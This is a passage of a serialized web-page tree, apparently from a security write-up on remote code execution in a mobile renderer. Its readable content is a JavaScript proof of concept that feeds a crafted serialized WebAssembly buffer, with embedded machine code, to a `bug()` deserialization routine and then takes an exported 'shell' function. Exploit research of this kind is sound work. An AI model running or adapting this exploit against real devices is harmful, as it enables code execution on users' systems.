137665],{"type":27,"value":706},{"type":21,"tag":198,"props":137667,"children":137668},{"style":205},[137669],{"type":27,"value":134416},{"type":21,"tag":198,"props":137671,"children":137672},{"style":683},[137673],{"type":27,"value":1440},{"type":21,"tag":198,"props":137675,"children":137676},{"style":226},[137677],{"type":27,"value":137622},{"type":21,"tag":198,"props":137679,"children":137680},{"style":211},[137681],{"type":27,"value":658},{"type":21,"tag":198,"props":137683,"children":137684},{"style":698},[137685],{"type":27,"value":134433},{"type":21,"tag":198,"props":137687,"children":137688},{"style":211},[137689],{"type":27,"value":706},{"type":21,"tag":198,"props":137691,"children":137692},{"style":205},[137693],{"type":27,"value":134442},{"type":21,"tag":198,"props":137695,"children":137696},{"style":211},[137697],{"type":27,"value":1541},{"type":21,"tag":198,"props":137699,"children":137700},{"style":683},[137701],{"type":27,"value":5193},{"type":21,"tag":198,"props":137703,"children":137704},{"style":205},[137705],{"type":27,"value":134455},{"type":21,"tag":198,"props":137707,"children":137708},{"style":211},[137709],{"type":27,"value":1470},{"type":21,"tag":198,"props":137711,"children":137712},{"class":200,"line":4569},[137713],{"type":21,"tag":198,"props":137714,"children":137715},{"style":211},[137716],{"type":27,"value":102367},{"type":21,"tag":30,"props":137718,"children":137719},{},[137720],{"type":27,"value":137721},"We get the serialized bytes:",{"type":21,"tag":30,"props":137723,"children":137724},{},[137725],{"type":21,"tag":1376,"props":137726,"children":137729},{"alt":137727,"src":137728},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":21,"tag":30,"props":137731,"children":137732},{},[137733,137735,137740],{"type":27,"value":137734},"We can now embed this output into the original bytecode that calls ",{"type":21,"tag":194,"props":137736,"children":137738},{"className":137737},[],[137739],{"type":27,"value":133312},{"type":27,"value":185},{"type":21,"tag":187,"props":137742,"children":137744},{"code":137743,"language":36389,"meta":7,"className":36387,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[137745],{"type":21,"tag":194,"props":137746,"children":137747},{"__ignoreMap":7},[137748,137771,137798,138017,138084,138091,138118,138329,138580,138831,139055,139237,139458,139536,139543,139590,139633,139669,139712,139751,139778],{"type":21,"tag":198,"props":137749,"children":137750},{"class":200,"line":201},[137751,137755,137759,137763,137767],{"type":21,"tag":198,"props":137752,"children":137753},{"style":211},[137754],{"type":27,"value":706},{"type":21,"tag":198,"props":137756,"children":137757},{"style":249},[137758],{"type":27,"value":36919},{"type":21,"tag":198,"props":137760,"children":137761},{"style":211},[137762],{"type":27,"value":40452},{"type":21,"tag":198,"props":137764,"children":137765},{"style":249},[137766],{"type":27,"value":15626},{"type":21,"tag":198,"props":137768,"children":137769},{"style":211},[137770],{"type":27,"value":233},{"type":21,"tag":198,"props":137772,"children":137773},{"class":200,"line":217},[137774,137778,137782,137786,137790,137794],{"type":21,"tag":198,"props":137775,"children":137776},{"style":249},[137777],{"type":27,"value":969},{"type":21,"tag":198,"props":137779,"children":137780},{"style":226},[137781],{"type":27,"value":133836},{"type":21,"tag":198,"props":137783,"children":137784},{"style":683},[137785],{"type":27,"value":979},{"type":21,"tag":198,"props":137787,"children":137788},{"style":249},[137789],{"type":27,"value":737},{"type":21,"tag":198,"props":137791,"children":137792},{"style":698},[137793],{"type":27,"value":133849},{"type":21,"tag":198,"props":137795,"children":137796},{"style":211},[137797],{"type":27,"value":133854},{"type":21,"tag":198,"props":137799,"children":137800},{"class":200,"line":236},[137801,137805,137809,137813,137817,137821,137825,137829,137833,137837,137841,137845,137849,137853,137857,137861,137865,137869,137873,137877,137881,137885,137889,137893,137897,137901,137905,137909,137913,137917,137921,137925,137929,137933,137937,137941,137945,137949,137953,137957,137961,137965,137969,137973,137977,137981,137985,137989,137993,137997,138001,138005,138009,138013],{"type":21,"tag":198,"props":137802,"children":137803},{"style":2540},[137804],{"type":27,"value":134579},{"type":21,"tag":198,"props":137806,"children":137807},{"style":211},[137808],{"type":27,"value":828},{"type":21,"tag":198,"props":137810,"children":137811},{"style":2540},[137812],{"type":27,"value":133871},{"type":21,"tag":198,"props":137814,"children":137815},{"style":211},[137816],{"type":27,"value":828},{"type":21,"tag":198,"props":137818,"children":137819},{"style":2540},[137820],{"type":27,"value":133880},{"type":21,"tag":198,"props":137822,"children":137823},{"style":211},[137824],{"type":27,"value":828},{"type":21,"tag":198,"props":137826,"children":137827},{"style":2540},[137828],{"type":27,"value":133889},{"type":21,"tag":198,"props":137830,"children":137831},{"style":211},[137832],{"type":27,"value":828},{"type":21,"tag":198,"props":137834,"children":137835},{"style":2540},[137836],{"type":27,"value":134},{"type":21,"tag":198,"props":137838,"children":137839},{"style":211},[137840],{"type":27,"value":828},{"type":21,"tag":198,"props":137842,"children":137843},{"style":2540},[137844],{"type":27,"value":3482},{"type":21,"tag":198,"props":137846,"children":137847},{"style":211},[137848],{"type":27,"value":828},{"type":21,"tag":198,"props":137850,"children":137851},{"style":2540},[137852],{"type":27,"value":3482},{"type":21,"tag":198,"props":137854,"children":137855},{"style":211},[137856],{"type":27,"value":828},{"type":21,"tag":198,"props":137858,"children":137859},{"style":2540},[137860],{"type":27,"value":3482},{"type":21,"tag":198,"props":137862,"children":137863},{"style":211},[137864],{"type":27,"value":828},{"type":21,"tag":198,"props":137866,"children":137867},{"style":2540},[137868],{"type":27,"value":134},{"type":21,"tag":198,"props":137870,"children":137871},{"style":211},[137872],{"type":27,"value":828},{"type":21,"tag":198,"props":137874,"children":137875},{"style":2540},[137876],{"type":27,"value":18330},{"type":21,"tag":198,"props":137878,"children":137879},{"style":211},[137880],{"type":27,"value":828},{"type":21,"tag":198,"props":137882,"children":137883},{"style":2540},[137884],{"type":27,"value":134},{"type":21,"tag":198,"props":137886,"children":137887},{"style":211},[137888],{"type":27,"value":828},{"type":21,"tag":198,"props":137890,"children":137891},{"style":2540},[137892],{"type":27,"value":133954},{"type":21,"tag":198,"props":137894,"children":137895},{"style":211},[137896],{"type":27,"value":828},{"type":21,"tag":198,"props":137898,"children":137899},{"style":2540},[137900],{"type":27,"value":3482},{"type":21,"tag":198,"props":137902,"children":137903},{"style":211},[137904],{"type":27,"value":828},{"type":21,"tag":198,"props":137906,"children":137907},{"style":2540},[137908],{"type":27,"value":3482},{"type":21,"tag":198,"props":137910,"children":137911},{"style":211},[137912],{"type":27,"value":828},{"type":21,"tag":198,"props":137914,"children":137915},{"style":2540},[137916],{"type":27,"value":18097},{"type":21,"tag":198,"props":137918,"children":137919},{"style":211},[137920],{"type":27,"value":828},{"type":21,"tag":198,"props":137922,"children":137923},{"style":2540},[137924],{"type":27,"value":3931},{"type":21,"tag":198,"props":137926,"children":137927},{"style":211},[137928],{"type":27,"value":828},{"type":21,"tag":198,"props":137930,"children":137931},{"style":2540},[137932],{"type":27,"value":134},{"type":21,"tag":198,"props":137934,"children":137935},{"style":211},[137936],{"type":27,"value":828},{"type":21,"tag":198,"props":137938,"children":137939},{"style":2540},[137940],{"type":27,"value":3482},{"type":21,"tag":198,"props":137942,"children":137943},{"style":211},[137944],{"type":27,"value":828},{"type":21,"tag":198,"props":137946,"children":137947},{"style":2540},[137948],{"type":27,"value":55047},{"type":21,"tag":198,"props":137950,"children":137951},{"style":211},[137952],{"type":27,"value":828},{"type":21,"tag":198,"props":137954,"children":137955},{"style":2540},[137956],{"type":27,"value":56262},{"type":21,"tag":198,"props":137958,"children":137959},{"style":211},[137960],{"type":27,"value":828},{"type":21,"tag":198,"props":137962,"children":137963},{"style":2540},[137964],{"type":27,"value":134},{"type":21,"tag":198,"props":137966,"children":137967},{"style":211},[137968],{"type":27,"value":828},{"type":21,"tag":198,"props":137970,"children":137971},{"style":2540},[137972],{"type":27,"value":18911},{"type":21,"tag":198,"props":137974,"children":137975},{"style":211},[137976],{"type":27,"value":828},{"type":21,"tag":198,"props":137978,"children":137979},{"style":2540},[137980],{"type":27,"value":133880},{"type":21,"tag":198,"props":137982,"children":137983},{"style":211},[137984],{"type":27,"value":828},{"type":21,"tag":198,"props":137986,"children":137987},{"style":2540},[137988],{"type":27,"value":134051},{"type":21,"tag":198,"props":137990,"children":137991},{"style":211},[137992],{"type":27,"value":828},{"type":21,"tag":198,"props":137994,"children":137995},{"style":2540},[137996],{"type":27,"value":134060},{"type":21,"tag":198,"props":137998,"children":137999},{"style":211},[138000],{"type":27,"value":828},{"type":21,"tag":198,"props":138002,"children":138003},{"style":2540},[138004],{"type":27,"value":134069},{"type":21,"tag":198,"props":138006,"children":138007},{"style":211},[138008],{"type":27,"value":828},{"type":21,"tag":198,"props":138010,"children":138011},{"style":2540},[138012],{"type":27,"value":134069},{"type":21,"tag":198,"props":138014,"children":138015},{"style":211},[138016],{"type":27,"value":257},{"type":21,"tag":198,"props":138018,"children":138019},{"class":200,"line":260},[138020,138024,138028,138032,138036,138040,138044,138048,138052,138056,138060,138064,138068,138072,138076,138080],{"type":21,"tag":198,"props":138021,"children":138022},{"style":2540},[138023],{"type":27,"value":134579},{"type":21,"tag":198,"props":138025,"children":138026},{"style":211},[138027],{"type":27,"value":828},{"type":21,"tag":198,"props":138029,"children":138030},{"style":2540},[138031],{"type":27,"value":3482},{"type":21,"tag":198,"props":138033,"children":138034},{"style":211},[138035],{"type":27,"value":828},{"type":21,"tag":198,"props":138037,"children":138038},{"style":2540},[138039],{"type":27,"value":89635},{"type":21,"tag":198,"props":138041,"children":138042},{"style":211},[138043],{"type":27,"value":828},{"type":21,"tag":198,"props":138045,"children":138046},{"style":2540},[138047],{"type":27,"value":18330},{"type":21,"tag":198,"props":138049,"children":138050},{"style":211},[138051],{"type":27,"value":828},{"type":21,"tag":198,"props":138053,"children":138054},{"style":2540},[138055],{"type":27,"value":134},{"type":21,"tag":198,"props":138057,"children":138058},{"style":211},[138059],{"type":27,"value":828},{"type":21,"tag":198,"props":138061,"children":138062},{"style":2540},[138063],{"type":27,"value":3931},{"type":21,"tag":198,"props":138065,"children":138066},{"style":211},[138067],{"type":27,"value":828},{"type":21,"tag":198,"props":138069,"children":138070},{"style":2540},[138071],{"type":27,"value":3482},{"type":21,"tag":198,"props":138073,"children":138074},{"style":211},[138075],{"type":27,"value":828},{"type":21,"tag":198,"props":138077,"children":138078},{"style":2540},[138079],{"type":27,"value":134145},{"type":21,"tag":198,"props":138081,"children":138082},{"style":211},[138083],{"type":27,"value":257},{"type":21,"tag":198,"props":138085,"children":138086},{"class":200,"line":281},[138087],{"type":21,"tag":198,"props":138088,"children":138089},{"style":211},[138090],{"type":27,"value":134866},{"type":21,"tag":198,"props":138092,"children":138093},{"class":200,"line":302},[138094,138098,138102,138106,138110,138114],{"type":21,"tag":198,"props":138095,"children":138096},{"style":249},[138097],{"type":27,"value":969},{"type":21,"tag":198,"props":138099,"children":138100},{"style":226},[138101],{"type":27,"value":125649},{"type":21,"tag":198,"props":138103,"children":138104},{"style":683},[138105],{"type":27,"value":979},{"type":21,"tag":198,"props":138107,"children":138108},{"style":249},[138109],{"type":27,"value":737},{"type":21,"tag":198,"props":138111,"children":138112},{"style":698},[138113],{"type":27,"value":133849},{"type":21,"tag":198,"props":138115,"children":138116},{"style":211},[138117],{"type":27,"value":133854},{"type":21,"tag":198,"props":138119,"children":138120},{"class":200,"line":323},[138121,138126,138130,138134,138138,138142,138146,138150,138154,138159,138163,138168,138172,138177,138181,138186,138190,138194,138198,138202,138206,138210,138214,138218,138222,138227,138231,138236,138240,138245,138249,138253,138257,138261,138265,138269,138273,138277,138281,138285,138289,138293,138297,138301,138305,138309,138313,138317,138321,138325],{"type":21,"tag":198,"props":138122,"children":138123},{"style":2540},[138124],{"type":27,"value":138125}," 146",{"type":21,"tag":198,"props":138127,"children":138128},{"style":211},[138129],{"type":27,"value":828},{"type":21,"tag":198,"props":138131,"children":138132},{"style":2540},[138133],{"type":27,"value":19223},{"type":21,"tag":198,"props":138135,"children":138136},{"style":211},[138137],{"type":27,"value":828},{"type":21,"tag":198,"props":138139,"children":138140},{"style":2540},[138141],{"type":27,"value":134918},{"type":21,"tag":198,"props":138143,"children":138144},{"style":211},[138145],{"type":27,"value":828},{"type":21,"tag":198,"props":138147,"children":138148},{"style":2540},[138149],{"type":27,"value":134927},{"type":21,"tag":198,"props":138151,"children":138152},{"style":211},[138153],{"type":27,"value":828},{"type":21,"tag":198,"props":138155,"children":138156},{"style":2540},[138157],{"type":27,"value":138158},"174",{"type":21,"tag":198,"props":138160,"children":138161},{"style":211},[138162],{"type":27,"value":828},{"type":21,"tag":198,"props":138164,"children":138165},{"style":2540},[138166],{"type":27,"value":138167},"122",{"type":21,"tag":198,"props":138169,"children":138170},{"style":211},[138171],{"type":27,"value":828},{"type":21,"tag":198,"props":138173,"children":138174},{"style":2540},[138175],{"type":27,"value":138176},"171",{"type":21,"tag":198,"props":138178,"children":138179},{"style":211},[138180],{"type":27,"value":828},{"type":21,"tag":198,"props":138182,"children":138183},{"style":2540},[138184],{"type":27,"value":138185},"151",{"type":21,"tag":198,"props":138187,"children":138188},{"style":211},[138189],{"type":27,"value":828},{"type":21,"tag":198,"props":138191,"children":138192},{"style":2540},[138193],{"type":27,"value":97049},{"type":21,"tag":198,"props":138195,"children":138196},{"style":211},[138197],{"type":27,"value":828},{"type":21,"tag":198,"props":138199,"children":138200},{"style":2540},[138201],{"type":27,"value":3482},{"type":21,"tag":198,"props":138203,"children":138204},{"style":211},[138205],{"type":27,"value":828},{"type":21,"tag":198,"props":138207,"children":138208},{"style":2540},[138209],{"type":27,"value":3482},{"type":21,"tag":198,"props":138211,"children":138212},{"style":211},[138213],{"type":27,"value":828},{"type":21,"tag":198,"props":138215,"children":138216},{"style":2540},[138217],{"type":27,"value":3482},{"type":21,"tag":198,"props":138219,"children":138220},{"style":211},[138221],{"type":27,"value":828},{"type":21,"tag":198,"props":138223,"children":138224},{"style":2540},[138225],{"type":27,"value":138226},"39",{"type":21,"tag":198,"props":138228,"children":138229},{"style":211},[138230],{"type":27,"value":828},{"type":21,"tag":198,"props":138232,"children":138233},{"style":2540},[138234],{"type":27,"value":138235},"61",{"type":21,"tag":198,"props":138237,"children":138238},{"style":211},[138239],{"type":27,"value":828},{"type":21,"tag":198,"props":138241,"children":138242},{"style":2540},[138243],{"type":27,"value":138244},"60",{"type":21,"tag":198,"props":138246,"children":138247},{"style":211},[138248],{"type":27,"value":828},{"type":21,"tag":198,"props":138250,"children":138251},{"style":2540},[138252],{"type":27,"value":97049},{"type":21,"tag":198,"props":138254,"children":138255},{"style":211},[138256],{"type":27,"value":828},{"type":21,"tag":198,"props":138258,"children":138259},{"style":2540},[138260],{"type":27,"value":3482},{"type":21,"tag":198,"props":138262,"children":138263},{"style":211},[138264],{"type":27,"value":828},{"type":21,"tag":198,"props":138266,"children":138267},{"style":2540},[138268],{"type":27,"value":41600},{"type":21,"tag":198,"props":138270,"children":138271},{"style":211},[138272],{"type":27,"value":828},{"type":21,"tag":198,"props":138274,"children":138275},{"style":2540},[138276],{"type":27,"value":18097},{"type":21,"tag":198,"props":138278,"children":138279},{"style":211},[138280],{"type":27,"value":828},{"type":21,"tag":198,"props":138282,"children":138283},{"style":2540},[138284],{"type":27,"value":3482},{"type":21,"tag":198,"props":138286,"children":138287},{"style":211},[138288],{"type":27,"value":828},{"type":21,"tag":198,"props":138290,"children":138291},{"style":2540},[138292],{"type":27,"value":3482},{"type":21,"tag":198,"props":138294,"children":138295},{"style":211},[138296],{"type":27,"value":828},{"type":21,"tag":198,"props":138298,"children":138299},{"style":2540},[138300],{"type":27,"value":3482},{"type":21,"tag":198,"props":138302,"children":138303},{"style":211},[138304],{"type":27,"value":828},{"type":21,"tag":198,"props":138306,"children":138307},{"style":2540},[138308],{"type":27,"value":3482},{"type":21,"tag":198,"props":138310,"children":138311},{"style":211},[138312],{"type":27,"value":828},{"type":21,"tag":198,"props":138314,"children":138315},{"style":2540},[138316],{"type":27,"value":3482},{"type":21,"tag":198,"props":138318,"children":138319},{"style":211},[138320],{"type":27,"value":828},{"type":21,"tag":198,"props":138322,"children":138323},{"style":2540},[138324],{"type":27,"value":30225},{"type":21,"tag":198,"props":138326,"children":138327},{"style":211},[138328],{"type":27,"value":257},{"type":21,"tag":198,"props":138330,"children":138331},{"class":200,"line":344},[138332,138336,138340,138344,138348,138352,138356,138360,138364,138368,138372,138376,138380,138384,138388,138392,138396,138400,138404,138408,138412,138416,138420,138424,138428,138432,138436,138440,138444,138448,138452,138456,138460,138464,138468,138472,138476,138480,138484,138488,138492,138496,138500,138504,138508,138512,138516,138520,138524,138528,138532,138536,138540,138544,138548,138552,138556,138560,138564,138568,138572,138576],{"type":21,"tag":198,"props":138333,"children":138334},{"style":2540},[138335],{"type":27,"value":134579},{"type":21,"tag":198,"props":138337,"children":138338},{"style":211},[138339],{"type":27,"value":828},{"type":21,"tag":198,"props":138341,"children":138342},{"style":2540},[138343],{"type":27,"value":3482},{"type":21,"tag":198,"props":138345,"children":138346},{"style":211},[138347],{"type":27,"value":828},{"type":21,"tag":198,"props":138349,"children":138350},{"style":2540},[138351],{"type":27,"value":3482},{"type":21,"tag":198,"props":138353,"children":138354},{"style":211},[138355],{"type":27,"value":828},{"type":21,"tag":198,"props":138357,"children":138358},{"style":2540},[138359],{"type":27,"value":3482},{"type":21,"tag":198,"props":138361,"children":138362},{"style":211},[138363],{"type":27,"value":828},{"type":21,"tag":198,"props":138365,"children":138366},{"style":2540},[138367],{"type":27,"value":3482},{"type":21,"tag":198,"props":138369,"children":138370},{"style":211},[138371],{"type":27,"value":828},{"type":21,"tag":198,"props":138373,"children":138374},{"style":2540},[138375],{"type":27,"value":3482},{"type":21,"tag":198,"props":138377,"children":138378},{"style":211},[138379],{"type":27,"value":828},{"type":21,"tag":198,"props":138381,"children":138382},{"style":2540},[138383],{"type":27,"value":3482},{"type":21,"tag":198,"props":138385,"children":138386},{"style":211},[138387],{"type":27,"value":828},{"type":21,"tag":198,"props":138389,"children":138390},{"style":2540},[138391],{"type":27,"value":134},{"type":21,"tag":198,"props":138393,"children":138394},{"style":211},[138395],{"type":27,"value":828},{"type":21,"tag":198,"props":138397,"children":138398},{"style":2540},[138399],{"type":27,"value":3482},{"type":21,"tag":198,"props":138401,"children":138402},{"style":211},[138403],{"type":27,"value":828},{"type":21,"tag":198,"props":138405,"children":138406},{"style":2540},[138407],{"type":27,"value":3482},{"type":21,"tag":198,"props":138409,"children":138410},{"style":211},[138411],{"type":27,"value":828},{"type":21,"tag":198,"props":138413,"children":138414},{"style":2540},[138415],{"type":27,"value":3482},{"type":21,"tag":198,"props":138417,"children":138418},{"style":211},[138419],{"type":27,"value":828},{"type":21,"tag":198,"props":138421,"children":138422},{"style":2540},[138423],{"type":27,"value":3482},{"type":21,"tag":198,"props":138425,"children":138426},{"style":211},[138427],{"type":27,"value":828},{"type":21,"tag":198,"props":138429,"children":138430},{"style":2540},[138431],{"type":27,"value":3482},{"type":21,"tag":198,"props":138433,"children":138434},{"style":211},[138435],{"type":27,"value":828},{"type":21,"tag":198,"props":138437,"children":138438},{"style":2540},[138439],{"type":27,"value":3482},{"type":21,"tag":198,"props":138441,"children":138442},{"style":211},[138443],{"type":27,"value":828},{"type":21,"tag":198,"props":138445,"children":138446},{"style":2540},[138447],{"type":27,"value":3482},{"type":21,"tag":198,"props":138449,"children":138450},{"style":211},[138451],{"type":27,"value":828},{"type":21,"tag":198,"props":138453,"children":138454},{"style":2540},[138455],{"type":27,"value":3482},{"type":21,"tag":198,"props":138457,"children":138458},{"style":211},[138459],{"type":27,"value":828},{"type":21,"tag":198,"props":138461,"children":138462},{"style":2540},[138463],{"type":27,"value":18330},{"type":21,"tag":198,"props":138465,"children":138466},{"style":211},[138467],{"type":27,"value":828},{"type":21,"tag":198,"props":138469,"children":138470},{"style":2540},[138471],{"type":27,"value":45883},{"type":21,"tag":198,"props":138473,"children":138474},{"style":211},[138475],{"type":27,"value":828},{"type":21,"tag":198,"props":138477,"children":138478},{"style":2540},[138479],{"type":27,"value":3482},{"type":21,"tag":198,"props":138481,"children":138482},{"style":211},[138483],{"type":27,"value":828},{"type":21,"tag":198,"props":138485,"children":138486},{"style":2540},[138487],{"type":27,"value":3482},{"type":21,"tag":198,"props":138489,"children":138490},{"style":211},[138491],{"type":27,"value":828},{"type":21,"tag":198,"props":138493,"children":138494},{"style":2540},[138495],{"type":27,"value":3482},{"type":21,"tag":198,"props":138497,"children":138498},{"style":211},[138499],{"type":27,"value":828},{"type":21,"tag":198,"props":138501,"children":138502},{"style":2540},[138503],{"type":27,"value":134954},{"type":21,"tag":198,"props":138505,"children":138506},{"style":211},[138507],{"type":27,"value":828},{"type":21,"tag":198,"props":138509,"children":138510},{"style":2540},[138511],{"type":27,"value":3482},{"type":21,"tag":198,"props":138513,"children":138514},{"style":211},[138515],{"type":27,"value":828},{"type":21,"tag":198,"props":138517,"children":138518},{"style":2540},[138519],{"type":27,"value":3482},{"type":21,"tag":198,"props":138521,"children":138522},{"style":211},[138523],{"type":27,"value":828},{"type":21,"tag":198,"props":138525,"children":138526},{"style":2540},[138527],{"type":27,"value":3482},{"type":21,"tag":198,"props":138529,"children":138530},{"style":211},[138531],{"type":27,"value":828},{"type":21,"tag":198,"props":138533,"children":138534},{"style":2540},[138535],{"type":27,"value":45883},{"type":21,"tag":198,"props":138537,"children":138538},{"style":211},[138539],{"type":27,"value":828},{"type":21,"tag":198,"props":138541,"children":138542},{"style":2540},[138543],{"type":27,"value":3482},{"type":21,"tag":198,"props":138545,"children":138546},{"style":211},[138547],{"type":27,"value":828},{"type":21,"tag":198,"props":138549,"children":138550},{"style":2540},[138551],{"type":27,"value":3482},{"type":21,"tag":198,"props":138553,"children":138554},{"style":211},[138555],{"type":27,"value":828},{"type":21,"tag":198,"props":138557,"children":138558},{"style":2540},[138559],{"type":27,"value":3482},{"type":21,"tag":198,"props":138561,"children":138562},{"style":211},[138563],{"type":27,"value":828},{"type":21,"tag":198,"props":138565,"children":138566},{"style":2540},[138567],{"type":27,"value":45883},{"type":21,"tag":198,"props":138569,"children":138570},{"style":211},[138571],{"type":27,"value":828},{"type":21,"tag":198,"props":138573,"children":138574},{"style":2540},[138575],{"type":27,"value":3482},{"type":21,"tag":198,"props":138577,"children":138578},{"style":211},[138579],{"type":27,"value":257},{"type":21,"tag":198,"props":138581,"children":138582},{"class":200,"line":365},[138583,138587,138591,138595,138599,138603,138607,138611,138615,138619,138623,138627,138631,138635,138639,138643,138647,138651,138655,138659,138663,138667,138671,138675,138679,138683,138687,138691,138695,138699,138703,138707,138711,138715,138719,138723,138727,138731,138735,138739,138743,138747,138751,138755,138759,138763,138767,138771,138775,138779,138783,138787,138791,138795,138799,138803,138807,138811,138815,138819,138823,138827],{"type":21,"tag":198,"props":138584,"children":138585},{"style":2540},[138586],{"type":27,"value":134579},{"type":21,"tag":198,"props":138588,"children":138589},{"style":211},[138590],{"type":27,"value":828},{"type":21,"tag":198,"props":138592,"children":138593},{"style":2540},[138594],{"type":27,"value":3482},{"type":21,"tag":198,"props":138596,"children":138597},{"style":211},[138598],{"type":27,"value":828},{"type":21,"tag":198,"props":138600,"children":138601},{"style":2540},[138602],{"type":27,"value":45883},{"type":21,"tag":198,"props":138604,"children":138605},{"style":211},[138606],{"type":27,"value":828},{"type":21,"tag":198,"props":138608,"children":138609},{"style":2540},[138610],{"type":27,"value":3482},{"type":21,"tag":198,"props":138612,"children":138613},{"style":211},[138614],{"type":27,"value":828},{"type":21,"tag":198,"props":138616,"children":138617},{"style":2540},[138618],{"type":27,"value":3482},{"type":21,"tag":198,"props":138620,"children":138621},{"style":211},[138622],{"type":27,"value":828},{"type":21,"tag":198,"props":138624,"children":138625},{"style":2540},[138626],{"type":27,"value":3482},{"type":21,"tag":198,"props":138628,"children":138629},{"style":211},[138630],{"type":27,"value":828},{"type":21,"tag":198,"props":138632,"children":138633},{"style":2540},[138634],{"type":27,"value":18330},{"type":21,"tag":198,"props":138636,"children":138637},{"style":211},[138638],{"type":27,"value":828},{"type":21,"tag":198,"props":138640,"children":138641},{"style":2540},[138642],{"type":27,"value":3482},{"type":21,"tag":198,"props":138644,"children":138645},{"style":211},[138646],{"type":27,"value":828},{"type":21,"tag":198,"props":138648,"children":138649},{"style":2540},[138650],{"type":27,"value":3482},{"type":21,"tag":198,"props":138652,"children":138653},{"style":211},[138654],{"type":27,"value":828},{"type":21,"tag":198,"props":138656,"children":138657},{"style":2540},[138658],{"type":27,"value":3482},{"type":21,"tag":198,"props":138660,"children":138661},{"style":211},[138662],{"type":27,"value":828},{"type":21,"tag":198,"props":138664,"children":138665},{"style":2540},[138666],{"type":27,"value":3482},{"type":21,"tag":198,"props":138668,"children":138669},{"style":211},[138670],{"type":27,"value":828},{"type":21,"tag":198,"props":138672,"children":138673},{"style":2540},[138674],{"type":27,"value":3482},{"type":21,"tag":198,"props":138676,"children":138677},{"style":211},[138678],{"type":27,"value":828},{"type":21,"tag":198,"props":138680,"children":138681},{"style":2540},[138682],{"type":27,"value":3482},{"type":21,"tag":198,"props":138684,"children":138685},{"style":211},[138686],{"type":27,"value":828},{"type":21,"tag":198,"props":138688,"children":138689},{"style":2540},[138690],{"type":27,"value":3482},{"type":21,"tag":198,"props":138692,"children":138693},{"style":211},[138694],{"type":27,"value":828},{"type":21,"tag":198,"props":138696,"children":138697},{"style":2540},[138698],{"type":27,"value":3482},{"type":21,"tag":198,"props":138700,"children":138701},{"style":211},[138702],{"type":27,"value":828},{"type":21,"tag":198,"props":138704,"children":138705},{"style":2540},[138706],{"type":27,"value":3482},{"type":21,"tag":198,"props":138708,"children":138709},{"style":211},[138710],{"type":27,"value":828},{"type":21,"tag":198,"props":138712,"children":138713},{"style":2540},[138714],{"type":27,"value":3482},{"type":21,"tag":198,"props":138716,"children":138717},{"style":211},[138718],{"type":27,"value":828},{"type":21,"tag":198,"props":138720,"children":138721},{"style":2540},[138722],{"type":27,"value":3482},{"type":21,"tag":198,"props":138724,"children":138725},{"style":211},[138726],{"type":27,"value":828},{"type":21,"tag":198,"props":138728,"children":138729},{"style":2540},[138730],{"type":27,"value":30225},{"type":21,"tag":198,"props":138732,"children":138733},{"style":211},[138734],{"type":27,"value":828},{"type":21,"tag":198,"props":138736,"children":138737},{"style":2540},[138738],{"type":27,"value":3482},{"type":21,"tag":198,"props":138740,"children":138741},{"style":211},[138742],{"type":27,"value":828},{"type":21,"tag":198,"props":138744,"children":138745},{"style":2540},[138746],{"type":27,"value":3482},{"type":21,"tag":198,"props":138748,"children":138749},{"style":211},[138750],{"type":27,"value":828},{"type":21,"tag":198,"props":138752,"children":138753},{"style":2540},[138754],{"type":27,"value":3482},{"type":21,"tag":198,"props":138756,"children":138757},{"style":211},[138758],{"type":27,"value":828},{"type":21,"tag":198,"props":138760,"children":138761},{"style":2540},[138762],{"type":27,"value":3482},{"type":21,"tag":198,"props":138764,"children":138765},{"style":211},[138766],{"type":27,"value":828},{"type":21,"tag":198,"props":138768,"children":138769},{"style":2540},[138770],{"type":27,"value":3482},{"type":21,"tag":198,"props":138772,"children":138773},{"style":211},[138774],{"type":27,"value":828},{"type":21,"tag":198,"props":138776,"children":138777},{"style":2540},[138778],{"type":27,"value":3482},{"type":21,"tag":198,"props":138780,"children":138781},{"style":211},[138782],{"type":27,"value":828},{"type":21,"tag":198,"props":138784,"children":138785},{"style":2540},[138786],{"type":27,"value":3482},{"type":21,"tag":198,"props":138788,"children":138789},{"style":211},[138790],{"type":27,"value":828},{"type":21,"tag":198,"props":138792,"children":138793},{"style":2540},[138794],{"type":27,"value":3482},{"type":21,"tag":198,"props":138796,"children":138797},{"style":211},[138798],{"type":27,"value":828},{"type":21,"tag":198,"props":138800,"children":138801},{"style":2540},[138802],{"type":27,"value":3482},{"type":21,"tag":198,"props":138804,"children":138805},{"style":211},[138806],{"type":27,"value":828},{"type":21,"tag":198,"props":138808,"children":138809},{"style":2540},[138810],{"type":27,"value":3482},{"type":21,"tag":198,"props":138812,"children":138813},{"style":211},[138814],{"type":27,"value":828},{"type":21,"tag":198,"props":138816,"children":138817},{"style":2540},[138818],{"type":27,"value":3482},{"type":21,"tag":198,"props":138820,"children":138821},{"style":211},[138822],{"type":27,"value":828},{"type":21,"tag":198,"props":138824,"children":138825},{"style":2540},[138826],{"type":27,"value":3482},{"type":21,"tag":198,"props":138828,"children":138829},{"style":211},[138830],{